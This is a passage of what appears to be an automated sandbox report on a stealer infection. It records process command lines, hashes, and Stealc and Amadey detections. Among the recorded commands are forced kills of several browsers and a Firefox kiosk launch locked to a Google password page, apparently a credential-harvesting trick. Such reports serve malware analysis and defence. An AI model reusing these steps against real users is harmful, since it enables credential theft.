Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:02:24
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x290000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:02:24
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:02:25
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:02:25
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:02:25
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:02:25
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001093001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe"
Imagebase:	0x360000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.1985396722.0000000000361000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.1987795463.000000000112E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000000.1970036309.0000000000361000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:02:26
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2228 -prefMapHandle 2220 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c059e01-df08-4ea7-99e7-8e52a0f774f0} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c95726dd10 socket
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:02:30
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4580 -parentBuildID 20230927232528 -prefsHandle 4572 -prefMapHandle 4480 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d66d859a-061e-466f-93a3-e7567ce2edce} 6000 "\\.\pipe\gecko-crash-server-pipe.6000" 1c968370810 rdd
Imagebase:	0x7ff722870000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:02:30
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe"
Imagebase:	0x50000
File size:	1'918'464 bytes
MD5 hash:	7CEC6EEFC34F3702D47FA5A28CBBB929
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2122542040.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.2029327781.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.2116759682.0000000000051000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:02:38
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe"
Imagebase:	0x950000
File size:	919'552 bytes
MD5 hash:	5ED9138AF4A937507DFDA5A5729F17BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	22:02:39
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x290000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:02:39
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:02:47
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001093001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe"
Imagebase:	0x360000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000002.2204680334.0000000000361000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000002.2207625905.0000000000F87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000026.00000000.2182412308.0000000000361000.00000080.00000001.01000000.00000014.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:02:47
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe"
Imagebase:	0xf80000
File size:	1'895'936 bytes
MD5 hash:	4D78E942E639DF559486A8BCF5B3CDAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000027.00000002.2252074672.0000000000F81000.00000040.00000001.01000000.0000001C.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000027.00000003.2208281116.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	22:02:50
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe"
Imagebase:	0x290000
File size:	1'918'464 bytes
MD5 hash:	7CEC6EEFC34F3702D47FA5A28CBBB929
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000003.2232897578.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.2323652564.0000000000291000.00000040.00000001.01000000.0000001D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	22:02:53
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user~1\AppData\Local\Temp\GVMUIWZ4K51WM0HUSRJ8R.exe"
Imagebase:
File size:	2'742'272 bytes
MD5 hash:	4B01B088DC9716204A408AD75CCEF360
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	22:02:56
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe"
Imagebase:
File size:	3'015'168 bytes
MD5 hash:	168A446710F2BAB46F3DA2D8A92008E2
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	22:03:00
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:
File size:	1'895'936 bytes
MD5 hash:	4D78E942E639DF559486A8BCF5B3CDAC
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	22:03:01
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	22:03:01
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	22:03:02
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):
Commandline:
Imagebase:
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04D50B3F Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b2c5a98bdacdf573ae9712f28c1b295cc3b14fde0178231470031a4097ef203
Instruction ID: 06846715dfa309f4743f1ef26bdb91c77f99e1f2bbb4b8f4cd28af289346d516
Opcode Fuzzy Hash: 4b2c5a98bdacdf573ae9712f28c1b295cc3b14fde0178231470031a4097ef203
Instruction Fuzzy Hash: 81218CEB34D110BE7A0380467F94EFB672EE1D6734330842AFC87D5526FA989A497136

Function 04D50B7D Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e725c3729c3d3fef107d6ddcd5d2365ec8d9f2aff96818c4d7f7d45cf9a87d58
Instruction ID: c7845700d353d04fdb05e5c841e75ed29212bd070e984b523fbe0eedc14dfdac
Opcode Fuzzy Hash: e725c3729c3d3fef107d6ddcd5d2365ec8d9f2aff96818c4d7f7d45cf9a87d58
Instruction Fuzzy Hash: 98213AEB24D140BEBA0385413F94AF66B6DE1D7334330841BFCC7D5122F9559A0D6232

Function 04D50B65 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80b4ecc63fffc5d346d27d356be4ccfc25c9009055fb2e45be8ba805d6b261ec
Instruction ID: 81f7c1c25306c925de7f5485172e110551ce592fd6e44cd37d951fee4e02dd9d
Opcode Fuzzy Hash: 80b4ecc63fffc5d346d27d356be4ccfc25c9009055fb2e45be8ba805d6b261ec
Instruction Fuzzy Hash: D6117CEB24D110BDB90280423B94EFA672DE1D6734330882BFC87D5525EA999A4D7132

Function 04D50B96 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86fa3fcfffe80b5efd656da067e582c40e0bb61be6ef04a74721308fa695b21e
Instruction ID: 1e2f1162c4d74a2205df3e3eb4b502e3999c065e285b4bf816488bef1f81b5f3
Opcode Fuzzy Hash: 86fa3fcfffe80b5efd656da067e582c40e0bb61be6ef04a74721308fa695b21e
Instruction Fuzzy Hash: 6011C4EB24D110BEA90380466F90EFA673DE2E67303308426FC87E5116FA5996497131

Function 04D50BAE Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 969d8cd204f87786a381005a810ef3ba69a72bc420a5d66b16651e8643d5c1b7
Instruction ID: c35561f8d3986bbea679dfbdcbd104500394e812ceee169b56ac9645cad24948
Opcode Fuzzy Hash: 969d8cd204f87786a381005a810ef3ba69a72bc420a5d66b16651e8643d5c1b7
Instruction Fuzzy Hash: FE11C1EB24D120BD6A0380462B90AFA6B3DE2D7734330842AFC83D6126FA4996497132

Function 04D50BC1 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91e6d4b2f876c39f925aba749cd8d093250909a56e46d521831c0ddeb6ae621b
Instruction ID: 4b0e8dab152286742a03aa6dd54f1bc5c125dc3d50fbdfae22c793c985cf79ee
Opcode Fuzzy Hash: 91e6d4b2f876c39f925aba749cd8d093250909a56e46d521831c0ddeb6ae621b
Instruction Fuzzy Hash: 8A11CEEB24D120BDB90380463B90AFA673DE1D7730330842AFC87D6125EA99964D7132

Function 04D50BD6 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5626ff38b454cbd434d98cce25a3ea0f2892b36a57f57952e088becec0ca393
Instruction ID: eb175ae14f8cc4c2b60d7b73da4ee9069a43aafe1c462c9485f745795791389b
Opcode Fuzzy Hash: d5626ff38b454cbd434d98cce25a3ea0f2892b36a57f57952e088becec0ca393
Instruction Fuzzy Hash: 260184EB34D110BD650280463B94EFA573DE1D7731330842AFC87D5216EA59AA4D7136

Function 04D50BE4 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b01dca47672fc129fb578577310060b553820920dcf474b8e52035890948ec
Instruction ID: 162a70a0903be5cb37164967ecb5b52329a700b8d8805be1e30a868de15e65e3
Opcode Fuzzy Hash: 08b01dca47672fc129fb578577310060b553820920dcf474b8e52035890948ec
Instruction Fuzzy Hash: 3C0100EB24D210BEB50280123F85AF6673DE0D7730331852BF886DA116E6498A4E6232

Function 04D50C2F Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1642674578.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d50000_G4X9C8XP66LPZY0PX2HHB5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de11fb4631a8241efa283033009bce8eb89a6026cb9cc388cf543d023bf4f61f
Instruction ID: 60b2004d77b5b6d193057804ef362cb958deda74c25848aa58658401c0aef407
Opcode Fuzzy Hash: de11fb4631a8241efa283033009bce8eb89a6026cb9cc388cf543d023bf4f61f
Instruction Fuzzy Hash: D701B1EB28D120BDB902C0463B95EF7677DE1D7730331882BFC87D5126EA499A4E6136

Analysis Process: 3BW8PCDTI0L77ZRRJ1.exePID: 8124, Parent PID: 7412COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	39.1%
Signature Coverage:	0%
Total number of Nodes:	23
Total number of Limit Nodes:	1

Executed Functions

Function 0059CE3F Relevance: 4.6, APIs: 3, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0059DAB1
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0059DAD8
GetNativeSystemInfo.KERNELBASE(?), ref: 0059DB2F

Memory Dump Source

Source File: 00000006.00000002.1779960221.0000000000597000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00410000, based on PE: true

Associated: 00000006.00000002.1779610949.0000000000410000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779664446.0000000000412000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779693841.0000000000416000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779733217.000000000041A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779759345.0000000000426000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779895940.0000000000576000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779934119.0000000000578000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1779960221.000000000058C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780043055.00000000005A2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780070527.00000000005A3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780104980.00000000005B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780144156.00000000005B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780178848.00000000005C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780205189.00000000005CA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780234971.00000000005D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780258950.00000000005DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780294474.00000000005E6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780337753.00000000005E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780415583.00000000005EA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780618221.00000000005EB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780652676.00000000005F9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1780714891.00000000005FA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781452119.0000000000601000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781570644.0000000000602000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781597992.0000000000603000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781622097.0000000000608000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781674706.000000000060F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781698485.0000000000611000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781748026.0000000000612000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781776991.0000000000615000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781835127.0000000000616000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781868461.0000000000618000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781927887.0000000000620000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1781961226.0000000000622000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782023554.0000000000623000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782050226.0000000000626000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782086399.000000000062F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782143423.0000000000630000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782167154.0000000000631000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782225963.0000000000639000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782265791.0000000000640000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782343899.0000000000644000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782510699.0000000000657000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782540951.0000000000659000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782594016.000000000069A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782674008.000000000069B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.000000000069C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782737959.00000000006A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782853652.00000000006B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1782878572.00000000006B4000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_410000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: c95579c6acb1f7791af3dd6cdd6891ea525917da1017759973419fd4a4698f2a
Instruction ID: 623afa97709a6c124d9728f065d40e06b3d2a0e9ccbcad16068aca25f7d43e42
Opcode Fuzzy Hash: c95579c6acb1f7791af3dd6cdd6891ea525917da1017759973419fd4a4698f2a
Instruction Fuzzy Hash: 7A31E27240410EDEEF21DF20C848AEE3BA5FB05315F440A26ED8682951E77A4DA8DF69

Function 04C10D42 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C10DCD

Memory Dump Source

Source File: 00000006.00000002.1786465706.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 08eb6319974c712bf4c706250001cb2ec4fc634b219e3212afd3d07fa2935073
Instruction ID: 925059c4dfe03439f808220d509d7800fc64631f62f0bf514aa1694036d5fd2c
Opcode Fuzzy Hash: 08eb6319974c712bf4c706250001cb2ec4fc634b219e3212afd3d07fa2935073
Instruction Fuzzy Hash: E62135B6C012099FCB10DF9AD885BDEFBB1EB89310F14825AD918AB255D734A641CFA4

Function 04C10D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04C10DCD

Memory Dump Source

Source File: 00000006.00000002.1786465706.0000000004C10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c10000_3BW8PCDTI0L77ZRRJ1.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: f22b0f0b8cd09105e0c03ab01e6ebed572e50e3df5708ba7fc785fd962351a9b
Instruction ID: bf85c43ebe54105154818a3d903927859b4d741f83c7dc08c3011e8625532659
Opcode Fuzzy Hash: f22b0f0b8cd09105e0c03ab01e6ebed572e50e3df5708ba7fc785fd962351a9b
Instruction Fuzzy Hash: A12147B6C012099FCB10DF9AD885BDEFBF5EB89310F14821AD818AB354C734A540CFA4

Function 04C11509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

